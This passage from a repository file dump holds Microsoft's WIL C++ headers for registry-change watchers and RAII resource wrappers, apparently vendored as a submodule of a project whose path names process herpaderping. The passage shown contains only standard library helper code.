INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_REGISTRY_INCLUDED\n#define __WIL_REGISTRY_INCLUDED\n\n#ifdef _KERNEL_MODE\n#error This header is not supported in kernel-mode.\n#endif\n\n#include \n#include // new(std::nothrow)\n#include \"resource.h\" // unique_hkey\n\nnamespace wil\n{\n //! The key name includes the absolute path of the key in the registry, always starting at a\n //! base key, for example, HKEY_LOCAL_MACHINE.\n size_t const max_registry_key_name_length = 255;\n\n //! The maximum number of characters allowed in a registry value's name.\n size_t const max_registry_value_name_length = 16383;\n\n // unique_registry_watcher/unique_registry_watcher_nothrow/unique_registry_watcher_failfast\n // These classes make it easy to execute a provided function when a\n // registry key changes (optionally recursively). Specify the key\n // either as a root key + path, or an open registry handle as wil::unique_hkey\n // or a raw HKEY value (that will be duplicated).\n //\n // Example use with exceptions base error handling:\n // auto watcher = wil::make_registry_watcher(HKEY_CURRENT_USER, L\"Software\\\\MyApp\", true, wil::RegistryChangeKind changeKind[]\n // {\n // if (changeKind == RegistryChangeKind::Delete)\n // {\n // watcher.reset();\n // }\n // // invalidate cached registry data here\n // });\n //\n // Example use with error code base error handling:\n // auto watcher = wil::make_registry_watcher_nothrow(HKEY_CURRENT_USER, L\"Software\\\\MyApp\", true, wil::RegistryChangeKind[]\n // {\n // // invalidate cached registry data here\n // });\n // RETURN_IF_NULL_ALLOC(watcher);\n\n enum class RegistryChangeKind\n {\n Modify = 0,\n Delete = 1,\n };\n\n /// @cond\n namespace details\n {\n struct registry_watcher_state\n {\n registry_watcher_state(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback)\n : m_callback(wistd::move(callback)), m_keyToWatch(wistd::move(keyToWatch)), m_isRecursive(isRecursive)\n {\n }\n wistd::function m_callback;\n unique_hkey m_keyToWatch;\n unique_event_nothrow m_eventHandle;\n\n // While not strictly needed since this is ref counted the thread pool wait\n // should be last to ensure that the other members are valid\n // when it is destructed as it will reference them.\n unique_threadpool_wait m_threadPoolWait;\n bool m_isRecursive;\n\n volatile long m_refCount = 1;\n srwlock m_lock;\n\n // Returns true if the refcount can be increased from a non zero value,\n // false it was zero impling that the object is in or on the way to the destructor.\n // In this case ReleaseFromCallback() should not be called.\n bool TryAddRef()\n {\n return ::InterlockedIncrement(&m_refCount) > 1;\n }\n\n void Release()\n {\n auto lock = m_lock.lock_exclusive();\n if (0 == ::InterlockedDecrement(&m_refCount))\n {\n lock.reset(); // leave the lock before deleting it.\n delete this;\n }\n }\n\n void ReleaseFromCallback(bool rearm)\n {\n auto lock = m_lock.lock_exclusive();\n if (0 == ::InterlockedDecrement(&m_refCount))\n {\n // Destroy the thread pool wait now to avoid the wait that would occur in the\n // destructor. That wait would cause a deadlock since we are doing this from the callback.\n ::CloseThreadpoolWait(m_threadPoolWait.release());\n lock.reset(); // leave the lock before deleting it.\n delete this;\n // Sleep(1); // Enable for testing to find use after free bugs.\n }\n else if (rearm)\n {\n ::SetThreadpoolWait(m_threadPoolWait.get(), m_eventHandle.get(), nullptr);\n }\n }\n };\n\n inline void delete_registry_watcher_state(_In_opt_ registry_watcher_state *watcherStorage) { watcherStorage->Release(); }\n\n typedef resource_policy registry_watcher_state_resource_policy;\n }\n /// @endcond\n\n template \n class registry_watcher_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit registry_watcher_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Exception-based constructors\n registry_watcher_t(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions; use the create method\");\n create(rootKey, subKey, isRecursive, wistd::move(callback));\n }\n\n registry_watcher_t(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions; use the create method\");\n create(wistd::move(keyToWatch), isRecursive, wistd::move(callback));\n }\n\n // Pass a root key, sub key pair or use an empty string to use rootKey as the key to watch.\n result create(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback)\n {\n // Most use will want to create the key, consider adding an option for open as a future design change.\n unique_hkey keyToWatch;\n HRESULT hr = HRESULT_FROM_WIN32(RegCreateKeyExW(rootKey, subKey, 0, nullptr, 0, KEY_NOTIFY, nullptr, &keyToWatch, nullptr));\n if (FAILED(hr))\n {\n return err_policy::HResult(hr);\n }\n return err_policy::HResult(create_common(wistd::move(keyToWatch), isRecursive, wistd::move(callback)));\n }\n\n result create(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback)\n {\n return err_policy::HResult(create_common(wistd::move(keyToWatch), isRecursive, wistd::move(callback)));\n }\n\n private:\n // Factored into a standalone function to support Clang which does not support conversion of stateless lambdas\n // to __stdcall\n static void __stdcall callback(PTP_CALLBACK_INSTANCE, void *context, TP_WAIT *, TP_WAIT_RESULT)\n {\n#ifndef __WIL_REGISTRY_CHANGE_CALLBACK_TEST\n#define __WIL_REGISTRY_CHANGE_CALLBACK_TEST\n#endif\n __WIL_REGISTRY_CHANGE_CALLBACK_TEST\n auto watcherState = static_cast(context);\n if (watcherState->TryAddRef())\n {\n // using auto reset event so don't need to manually reset.\n\n // failure here is a programming error.\n const LSTATUS error = RegNotifyChangeKeyValue(watcherState->m_keyToWatch.get(), watcherState->m_isRecursive,\n REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME | REG_NOTIFY_THREAD_AGNOSTIC,\n watcherState->m_eventHandle.get(), TRUE);\n\n // Call the client before re-arming to ensure that multiple callbacks don't\n // run concurrently.\n switch (error)\n {\n case ERROR_SUCCESS:\n case ERROR_ACCESS_DENIED:\n // Normal modification: send RegistryChangeKind::Modify and re-arm.\n watcherState->m_callback(RegistryChangeKind::Modify);\n watcherState->ReleaseFromCallback(true);\n break;\n\n case ERROR_KEY_DELETED:\n // Key deleted, send RegistryChangeKind::Delete, do not re-arm.\n watcherState->m_callback(RegistryChangeKind::Delete);\n watcherState->ReleaseFromCallback(false);\n break;\n\n case ERROR_HANDLE_REVOKED:\n // Handle revoked. This can occur if the user session ends before\n // the watcher shuts-down. Disarm silently since there is generally no way to respond.\n watcherState->ReleaseFromCallback(false);\n break;\n\n default:\n FAIL_FAST_HR(HRESULT_FROM_WIN32(error));\n }\n }\n }\n\n // This function exists to avoid template expansion of this code based on err_policy.\n HRESULT create_common(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback)\n {\n wistd::unique_ptr watcherState(new(std::nothrow) details::registry_watcher_state(\n wistd::move(keyToWatch), isRecursive, wistd::move(callback)));\n RETURN_IF_NULL_ALLOC(watcherState);\n RETURN_IF_FAILED(watcherState->m_eventHandle.create());\n RETURN_IF_WIN32_ERROR(RegNotifyChangeKeyValue(watcherState->m_keyToWatch.get(),\n watcherState->m_isRecursive, REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME | REG_NOTIFY_THREAD_AGNOSTIC,\n watcherState->m_eventHandle.get(), TRUE));\n\n watcherState->m_threadPoolWait.reset(CreateThreadpoolWait(®istry_watcher_t::callback, watcherState.get(), nullptr));\n RETURN_LAST_ERROR_IF(!watcherState->m_threadPoolWait);\n storage_t::reset(watcherState.release()); // no more failures after this, pass ownership\n SetThreadpoolWait(storage_t::get()->m_threadPoolWait.get(), storage_t::get()->m_eventHandle.get(), nullptr);\n return S_OK;\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_registry_watcher_nothrow;\n typedef unique_any_t, err_failfast_policy>> unique_registry_watcher_failfast;\n\n inline unique_registry_watcher_nothrow make_registry_watcher_nothrow(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback) WI_NOEXCEPT\n {\n unique_registry_watcher_nothrow watcher;\n watcher.create(rootKey, subKey, isRecursive, wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n inline unique_registry_watcher_nothrow make_registry_watcher_nothrow(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) WI_NOEXCEPT\n {\n unique_registry_watcher_nothrow watcher;\n watcher.create(wistd::move(keyToWatch), isRecursive, wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n inline unique_registry_watcher_failfast make_registry_watcher_failfast(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback)\n {\n return unique_registry_watcher_failfast(rootKey, subKey, isRecursive, wistd::move(callback));\n }\n\n inline unique_registry_watcher_failfast make_registry_watcher_failfast(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback)\n {\n return unique_registry_watcher_failfast(wistd::move(keyToWatch), isRecursive, wistd::move(callback));\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy >> unique_registry_watcher;\n\n inline unique_registry_watcher make_registry_watcher(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback)\n {\n return unique_registry_watcher(rootKey, subKey, isRecursive, wistd::move(callback));\n }\n\n inline unique_registry_watcher make_registry_watcher(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback)\n {\n return unique_registry_watcher(wistd::move(keyToWatch), isRecursive, wistd::move(callback));\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n} // namespace wil\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/resource.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n\n#include \"result_macros.h\"\n#include \"wistd_functional.h\"\n#include \"wistd_memory.h\"\n\n#pragma warning(push)\n#pragma warning(disable:26135 26110) // Missing locking annotation, Caller failing to hold lock\n#pragma warning(disable:4714) // __forceinline not honored\n\n#ifndef __WIL_RESOURCE\n#define __WIL_RESOURCE\n\n// stdint.h and intsafe.h have conflicting definitions, so it's not safe to include either to pick up our dependencies,\n// so the definitions we need are copied below\n#ifdef _WIN64\n#define __WI_SIZE_MAX 0xffffffffffffffffui64 // UINT64_MAX\n#else /* _WIN64 */\n#define __WI_SIZE_MAX 0xffffffffui32 // UINT32_MAX\n#endif /* _WIN64 */\n\n// Forward declaration\n/// @cond\nnamespace Microsoft\n{\n namespace WRL\n {\n template \n class ComPtr;\n }\n}\n/// @endcond\n\nnamespace wil\n{\n //! This type copies the current value of GetLastError at construction and resets the last error\n //! to that value when it is destroyed.\n //!\n //! This is useful in library code that runs during a value's destructor. If the library code could\n //! inadvertantly change the value of GetLastError (by calling a Win32 API or similar), it should\n //! instantiate a value of this type before calling the library function in order to preserve the\n //! GetLastError value the user would expect.\n //!\n //! This construct exists to hide kernel mode/user mode differences in wil library code.\n //!\n //! Example usage:\n //!\n //! if (!CreateFile(...))\n //! {\n //! auto lastError = wil::last_error_context();\n //! WriteFile(g_hlog, logdata);\n //! }\n //!\n class last_error_context\n {\n#ifndef WIL_KERNEL_MODE\n bool m_dismissed;\n DWORD m_error;\n public:\n last_error_context() WI_NOEXCEPT :\n m_dismissed(false),\n m_error(::GetLastError())\n {\n }\n\n last_error_context(last_error_context&& other) WI_NOEXCEPT\n {\n operator=(wistd::move(other));\n }\n\n last_error_context & operator=(last_error_context&& other) WI_NOEXCEPT\n {\n m_dismissed = wistd::exchange(other.m_dismissed, true);\n m_error = other.m_error;\n\n return *this;\n }\n\n ~last_error_context() WI_NOEXCEPT\n {\n if (!m_dismissed)\n {\n ::SetLastError(m_error);\n }\n }\n\n //! last_error_context doesn't own a concrete resource, so therefore\n //! it just disarms its destructor and returns void.\n void release() WI_NOEXCEPT\n {\n WI_ASSERT(!m_dismissed);\n m_dismissed = true;\n }\n#else\n public:\n void release() WI_NOEXCEPT { }\n#endif // WIL_KERNEL_MODE\n };\n\n /// @cond\n namespace details\n {\n typedef wistd::integral_constant pointer_access_all; // get(), release(), addressof(), and '&' are available\n typedef wistd::integral_constant pointer_access_noaddress; // get() and release() are available\n typedef wistd::integral_constant pointer_access_none; // the raw pointer is not available\n\n template // nullptr_t if the invalid handle value is compatible with nullptr, otherwise pointer\n struct resource_policy\n {\n typedef pointer_storage_t pointer_storage;\n typedef pointer_t pointer;\n typedef pointer_invalid_t pointer_invalid;\n typedef pointer_access_t pointer_access;\n __forceinline static pointer_storage invalid_value() { return (pointer)invalid; }\n __forceinline static bool is_valid(pointer_storage value) WI_NOEXCEPT { return (static_cast(value) != (pointer)invalid); }\n __forceinline static void close(pointer_storage value) WI_NOEXCEPT { wistd::invoke(close_fn, value); }\n\n inline static void close_reset(pointer_storage value) WI_NOEXCEPT\n {\n auto preserveError = last_error_context();\n wistd::invoke(close_fn, value);\n }\n };\n\n\n // This class provides the pointer storage behind the implementation of unique_any_t utilizing the given\n // resource_policy. It is separate from unique_any_t to allow a type-specific specialization class to plug\n // into the inheritance chain between unique_any_t and unique_storage. This allows classes like unique_event\n // to be a unique_any formed class, but also expose methods like SetEvent directly.\n\n template \n class unique_storage\n {\n protected:\n typedef Policy policy;\n typedef typename policy::pointer_storage pointer_storage;\n typedef typename policy::pointer pointer;\n typedef unique_storage base_storage;\n\n unique_storage() WI_NOEXCEPT :\n m_ptr(policy::invalid_value())\n {\n }\n\n explicit unique_storage(pointer_storage ptr) WI_NOEXCEPT :\n m_ptr(ptr)\n {\n }\n\n unique_storage(unique_storage &&other) WI_NOEXCEPT :\n m_ptr(wistd::move(other.m_ptr))\n {\n other.m_ptr = policy::invalid_value();\n }\n\n ~unique_storage() WI_NOEXCEPT\n {\n if (policy::is_valid(m_ptr))\n {\n policy::close(m_ptr);\n }\n }\n\n void replace(unique_storage &&other) WI_NOEXCEPT\n {\n reset(other.m_ptr);\n other.m_ptr = policy::invalid_value();\n }\n\n public:\n bool is_valid() const WI_NOEXCEPT\n {\n return policy::is_valid(m_ptr);\n }\n\n void reset(pointer_storage ptr = policy::invalid_value()) WI_NOEXCEPT\n {\n if (policy::is_valid(m_ptr))\n {\n policy::close_reset(m_ptr);\n }\n m_ptr = ptr;\n }\n\n void reset(wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"reset(nullptr): valid only for handle types using nullptr as the invalid value\");\n reset();\n }\n\n pointer get() const WI_NOEXCEPT\n {\n return static_cast(m_ptr);\n }\n\n pointer_storage release() WI_NOEXCEPT\n {\n static_assert(!wistd::is_same::value, \"release(): the raw handle value is not available for this resource class\");\n auto ptr = m_ptr;\n m_ptr = policy::invalid_value();\n return ptr;\n }\n\n pointer_storage *addressof() WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"addressof(): the address of the raw handle is not available for this resource class\");\n return &m_ptr;\n }\n\n private:\n pointer_storage m_ptr;\n };\n } // details\n /// @endcond\n\n\n // This class when paired with unique_storage and an optional type-specific specialization class implements\n // the same interface as STL's unique_ptr<> for resource handle types. It is a non-copyable, yet movable class\n // supporting attach (reset), detach (release), retrieval (get()).\n\n template \n class unique_any_t : public storage_t\n {\n public:\n typedef typename storage_t::policy policy;\n typedef typename policy::pointer_storage pointer_storage;\n typedef typename policy::pointer pointer;\n\n unique_any_t(unique_any_t const &) = delete;\n unique_any_t& operator=(unique_any_t const &) = delete;\n\n // Note that the default constructor really shouldn't be needed (taken care of by the forwarding constructor below), but\n // the forwarding constructor causes an internal compiler error when the class is used in a C++ array. Defining the default\n // constructor independent of the forwarding constructor removes the compiler limitation.\n unique_any_t() = default;\n\n // forwarding constructor: forwards all 'explicit' and multi-arg constructors to the base class\n template \n explicit unique_any_t(arg1 && first, args_t&&... args) : // should not be WI_NOEXCEPT (may forward to a throwing constructor)\n storage_t(wistd::forward(first), wistd::forward(args)...)\n {\n static_assert(wistd::is_same::value ||\n wistd::is_same::value ||\n wistd::is_same::value, \"pointer_access policy must be a known pointer_access* integral type\");\n }\n\n unique_any_t(wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"nullptr constructor: valid only for handle types using nullptr as the invalid value\");\n }\n\n unique_any_t(unique_any_t &&other) WI_NOEXCEPT :\n storage_t(wistd::move(other))\n {\n }\n\n unique_any_t& operator=(unique_any_t &&other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n // cast to base_storage to 'skip' calling the (optional) specialization class that provides handle-specific functionality\n storage_t::replace(wistd::move(static_cast(other)));\n }\n return (*this);\n }\n\n unique_any_t& operator=(wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"nullptr assignment: valid only for handle types using nullptr as the invalid value\");\n storage_t::reset();\n return (*this);\n }\n\n void swap(unique_any_t &other) WI_NOEXCEPT\n {\n unique_any_t self(wistd::move(*this));\n operator=(wistd::move(other));\n other = wistd::move(self);\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return storage_t::is_valid();\n }\n\n //! ~~~~\n //! BOOL OpenOrCreateWaffle(PCWSTR name, HWAFFLE* handle);\n //! wil::unique_any waffle;\n //! RETURN_IF_WIN32_BOOL_FALSE(OpenOrCreateWaffle(L\"tasty.yum\", waffle.put()));\n //! ~~~~\n pointer_storage *put() WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"operator & is not available for this handle\");\n storage_t::reset();\n return storage_t::addressof();\n }\n\n pointer_storage *operator&() WI_NOEXCEPT\n {\n return put();\n }\n\n pointer get() const WI_NOEXCEPT\n {\n static_assert(!wistd::is_same::value, \"get(): the raw handle value is not available for this resource class\");\n return storage_t::get();\n }\n\n // The following functions are publicly exposed by their inclusion in the unique_storage base class\n\n // explicit unique_any_t(pointer_storage ptr) WI_NOEXCEPT\n // void reset(pointer_storage ptr = policy::invalid_value()) WI_NOEXCEPT\n // void reset(wistd::nullptr_t) WI_NOEXCEPT\n // pointer_storage release() WI_NOEXCEPT // not exposed for some resource types\n // pointer_storage *addressof() WI_NOEXCEPT // not exposed for some resource types\n };\n\n template \n void swap(unique_any_t& left, unique_any_t& right) WI_NOEXCEPT\n {\n left.swap(right);\n }\n\n template \n bool operator==(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT\n {\n return (left.get() == right.get());\n }\n\n template \n bool operator==(const unique_any_t& left, wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !left;\n }\n\n template \n bool operator==(wistd::nullptr_t, const unique_any_t& right) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !right;\n }\n\n template \n bool operator!=(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT\n {\n return (!(left.get() == right.get()));\n }\n\n template \n bool operator!=(const unique_any_t& left, wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !!left;\n }\n\n template \n bool operator!=(wistd::nullptr_t, const unique_any_t& right) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !!right;\n }\n\n template \n bool operator<(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT\n {\n return (left.get() < right.get());\n }\n\n template \n bool operator>=(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT\n {\n return (!(left < right));\n }\n\n template \n bool operator>(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT\n {\n return (right < left);\n }\n\n template \n bool operator<=(const unique_any_t& left, const unique_any_t& right) WI_NOEXCEPT\n {\n return (!(right < left));\n }\n\n // unique_any provides a template alias for easily building a unique_any_t from a unique_storage class with the given\n // template parameters for resource_policy.\n\n template // nullptr_t if the invalid handle value is compatible with nullptr, otherwise pointer\n using unique_any = unique_any_t>>;\n\n /// @cond\n namespace details\n {\n template \n class lambda_call\n {\n public:\n lambda_call(const lambda_call&) = delete;\n lambda_call& operator=(const lambda_call&) = delete;\n lambda_call& operator=(lambda_call&& other) = delete;\n\n explicit lambda_call(TLambda&& lambda) WI_NOEXCEPT : m_lambda(wistd::move(lambda))\n {\n static_assert(wistd::is_same::value, \"scope_exit lambdas must not have a return value\");\n static_assert(!wistd::is_lvalue_reference::value && !wistd::is_rvalue_reference::value,\n \"scope_exit should only be directly used with a lambda\");\n }\n\n lambda_call(lambda_call&& other) WI_NOEXCEPT : m_lambda(wistd::move(other.m_lambda)), m_call(other.m_call)\n {\n other.m_call = false;\n }\n\n ~lambda_call() WI_NOEXCEPT\n {\n reset();\n }\n\n // Ensures the scope_exit lambda will not be called\n void release() WI_NOEXCEPT\n {\n m_call = false;\n }\n\n // Executes the scope_exit lambda immediately if not yet run; ensures it will not run again\n void reset() WI_NOEXCEPT\n {\n if (m_call)\n {\n m_call = false;\n m_lambda();\n }\n }\n\n // Returns true if the scope_exit lambda is still going to be executed\n explicit operator bool() const WI_NOEXCEPT\n {\n return m_call;\n }\n\n protected:\n TLambda m_lambda;\n bool m_call = true;\n };\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n template \n class lambda_call_log\n {\n public:\n lambda_call_log(const lambda_call_log&) = delete;\n lambda_call_log& operator=(const lambda_call_log&) = delete;\n lambda_call_log& operator=(lambda_call_log&& other) = delete;\n\n explicit lambda_call_log(void* address, const DiagnosticsInfo& info, TLambda&& lambda) WI_NOEXCEPT :\n m_address(address), m_info(info), m_lambda(wistd::move(lambda))\n {\n static_assert(wistd::is_same::value, \"scope_exit lambdas must return 'void'\");\n static_assert(!wistd::is_lvalue_reference::value && !wistd::is_rvalue_reference::value,\n \"scope_exit should only be directly used with a lambda\");\n }\n\n lambda_call_log(lambda_call_log&& other) WI_NOEXCEPT :\n m_address(other.m_address), m_info(other.m_info), m_lambda(wistd::move(other.m_lambda)), m_call(other.m_call)\n {\n other.m_call = false;\n }\n\n ~lambda_call_log() WI_NOEXCEPT\n {\n reset();\n }\n\n // Ensures the scope_exit lambda will not be called\n void release() WI_NOEXCEPT\n {\n m_call = false;\n }\n\n // Executes the scope_exit lambda immediately if not yet run; ensures it will not run again\n void reset() WI_NOEXCEPT\n {\n if (m_call)\n {\n m_call = false;\n try\n {\n m_lambda();\n }\n catch (...)\n {\n ReportFailure_CaughtException(__R_DIAGNOSTICS(m_info), m_address);\n }\n }\n }\n\n // Returns true if the scope_exit lambda is still going to be executed\n explicit operator bool() const WI_NOEXCEPT\n {\n return m_call;\n }\n\n private:\n void* m_address;\n DiagnosticsInfo m_info;\n TLambda m_lambda;\n bool m_call = true;\n };\n#endif // WIL_ENABLE_EXCEPTIONS\n }\n /// @endcond\n\n /** Returns an object that executes the given lambda when destroyed.\n Capture the object with 'auto'; use reset() to execute the lambda early or release() to avoid\n execution. Exceptions thrown in the lambda will fail-fast; use scope_exit_log to avoid. */\n template \n WI_NODISCARD inline auto scope_exit(TLambda&& lambda) WI_NOEXCEPT\n {\n return details::lambda_call(wistd::forward(lambda));\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Returns an object that executes the given lambda when destroyed; logs exceptions.\n Capture the object with 'auto'; use reset() to execute the lambda early or release() to avoid\n execution. Exceptions thrown in the lambda will be caught and logged without being propagated. */\n template \n WI_NODISCARD inline __declspec(noinline) auto scope_exit_log(const DiagnosticsInfo& diagnostics, TLambda&& lambda) WI_NOEXCEPT\n {\n return details::lambda_call_log(_ReturnAddress(), diagnostics, wistd::forward(lambda));\n }\n#endif\n\n // Forward declaration...\n template \n class com_ptr_t;\n\n //! Type traits class that identifies the inner type of any smart pointer.\n template \n struct smart_pointer_details\n {\n typedef typename Ptr::pointer pointer;\n };\n\n /// @cond\n template \n struct smart_pointer_details>\n {\n typedef T* pointer;\n };\n /// @endcond\n\n /** Generically detaches a raw pointer from any smart pointer.\n Caller takes ownership of the returned raw pointer; calls the correct release(), detach(),\n or Detach() method based on the smart pointer type */\n template \n WI_NODISCARD typename TSmartPointer::pointer detach_from_smart_pointer(TSmartPointer& smartPtr)\n {\n return smartPtr.release();\n }\n\n /// @cond\n // Generically detaches a raw pointer from any smart pointer\n template \n WI_NODISCARD T* detach_from_smart_pointer(wil::com_ptr_t& smartPtr)\n {\n return smartPtr.detach();\n }\n\n // Generically detaches a raw pointer from any smart pointer\n template \n WI_NODISCARD T* detach_from_smart_pointer(Microsoft::WRL::ComPtr& smartPtr)\n {\n return smartPtr.Detach();\n }\n\n template class com_ptr_t; // forward\n namespace details\n {\n // The first two attach_to_smart_pointer() overloads are ambiguous when passed a com_ptr_t.\n // To solve that use this functions return type to elminate the reset form for com_ptr_t.\n template wistd::false_type use_reset(wil::com_ptr_t*) { return wistd::false_type(); }\n template wistd::true_type use_reset(T*) { return wistd::true_type(); }\n }\n /// @endcond\n\n /** Generically attach a raw pointer to a compatible smart pointer.\n Calls the correct reset(), attach(), or Attach() method based on samrt pointer type. */\n template (nullptr)))::value>>\n void attach_to_smart_pointer(TSmartPointer& smartPtr, typename TSmartPointer::pointer rawPtr)\n {\n smartPtr.reset(rawPtr);\n }\n\n /// @cond\n\n // Generically attach a raw pointer to a compatible smart pointer.\n template \n void attach_to_smart_pointer(wil::com_ptr_t& smartPtr, T* rawPtr)\n {\n smartPtr.attach(rawPtr);\n }\n\n // Generically attach a raw pointer to a compatible smart pointer.\n template \n void attach_to_smart_pointer(Microsoft::WRL::ComPtr& smartPtr, T* rawPtr)\n {\n smartPtr.Attach(rawPtr);\n }\n /// @endcond\n\n //! @ingroup outparam\n /** Detach a smart pointer resource to an optional output pointer parameter.\n Avoids cluttering code with nullptr tests; works generically for any smart pointer */\n template \n inline void detach_to_opt_param(_Out_opt_ T* outParam, TSmartPointer&& smartPtr)\n {\n if (outParam)\n {\n *outParam = detach_from_smart_pointer(smartPtr);\n }\n }\n\n /// @cond\n namespace details\n {\n template \n struct out_param_t\n {\n typedef typename wil::smart_pointer_details::pointer pointer;\n T &wrapper;\n pointer pRaw;\n bool replace = true;\n\n out_param_t(_Inout_ T &output) :\n wrapper(output),\n pRaw(nullptr)\n {\n }\n\n out_param_t(out_param_t&& other) :\n wrapper(other.wrapper),\n pRaw(other.pRaw)\n {\n WI_ASSERT(other.replace);\n other.replace = false;\n }\n\n operator pointer*()\n {\n WI_ASSERT(replace);\n return &pRaw;\n }\n\n ~out_param_t()\n {\n if (replace)\n {\n attach_to_smart_pointer(wrapper, pRaw);\n }\n }\n\n out_param_t(out_param_t const &other) = delete;\n out_param_t &operator=(out_param_t const &other) = delete;\n };\n\n template \n struct out_param_ptr_t\n {\n typedef typename wil::smart_pointer_details::pointer pointer;\n T &wrapper;\n pointer pRaw;\n bool replace = true;\n\n out_param_ptr_t(_Inout_ T &output) :\n wrapper(output),\n pRaw(nullptr)\n {\n }\n\n out_param_ptr_t(out_param_ptr_t&& other) :\n wrapper(other.wrapper),\n pRaw(other.pRaw)\n {\n WI_ASSERT(other.replace);\n other.replace = false;\n }\n\n operator Tcast()\n {\n WI_ASSERT(replace);\n return reinterpret_cast(&pRaw);\n }\n\n ~out_param_ptr_t()\n {\n if (replace)\n {\n attach_to_smart_pointer(wrapper, pRaw);\n }\n }\n\n out_param_ptr_t(out_param_ptr_t const &other) = delete;\n out_param_ptr_t &operator=(out_param_ptr_t const &other) = delete;\n };\n } // details\n /// @endcond\n\n /** Use to retrieve raw out parameter pointers into smart pointers that do not support the '&' operator.\n This avoids multi-step handling of a raw resource to establish the smart pointer.\n Example: `GetFoo(out_param(foo));` */\n template \n details::out_param_t out_param(T& p)\n {\n return details::out_param_t(p);\n }\n\n /** Use to retrieve raw out parameter pointers (with a required cast) into smart pointers that do not support the '&' operator.\n Use only when the smart pointer's &handle is not equal to the output type a function requries, necessitating a cast.\n Example: `wil::out_param_ptr(securityDescriptor)` */\n template \n details::out_param_ptr_t out_param_ptr(T& p)\n {\n return details::out_param_ptr_t(p);\n }\n\n /** Use unique_struct to define an RAII type for a trivial struct that references resources that must be cleaned up.\n Unique_struct wraps a trivial struct using a custom clean up function and, optionally, custom initializer function. If no custom initialier function is defined in the template\n then ZeroMemory is used.\n Unique_struct is modeled off of std::unique_ptr. However, unique_struct inherits from the defined type instead of managing the struct through a private member variable.\n\n If the type you're wrapping is a system type, you can share the code by declaring it in this file (Resource.h). Send requests to wildisc.\n Otherwise, if the type is local to your project, declare it locally.\n @tparam struct_t The struct you want to manage\n @tparam close_fn_t The type of the function to clean up the struct. Takes one parameter: a pointer of struct_t. Return values are ignored.\n @tparam close_fn The function of type close_fn_t. This is called in the destructor and reset functions.\n @tparam init_fn_t Optional:The type of the function to initialize the struct. Takes one parameter: a pointer of struct_t. Return values are ignored.\n @tparam init_fn Optional:The function of type init_fn_t. This is called in the constructor, reset, and release functions. The default is ZeroMemory to initialize the struct.\n\n Defined using the default zero memory initializer\n ~~~\n typedef wil::unique_struct unique_prop_variant_default_init;\n\n unique_prop_variant propvariant;\n SomeFunction(&propvariant);\n ~~~\n\n Defined using a custom initializer\n ~~~\n typedef wil::unique_struct unique_prop_variant;\n\n unique_prop_variant propvariant;\n SomeFunction(&propvariant);\n ~~~\n */\n template \n class unique_struct : public struct_t\n {\n public:\n //! Initializes the managed struct using the user-provided initialization function, or ZeroMemory if no function is specified\n unique_struct()\n {\n 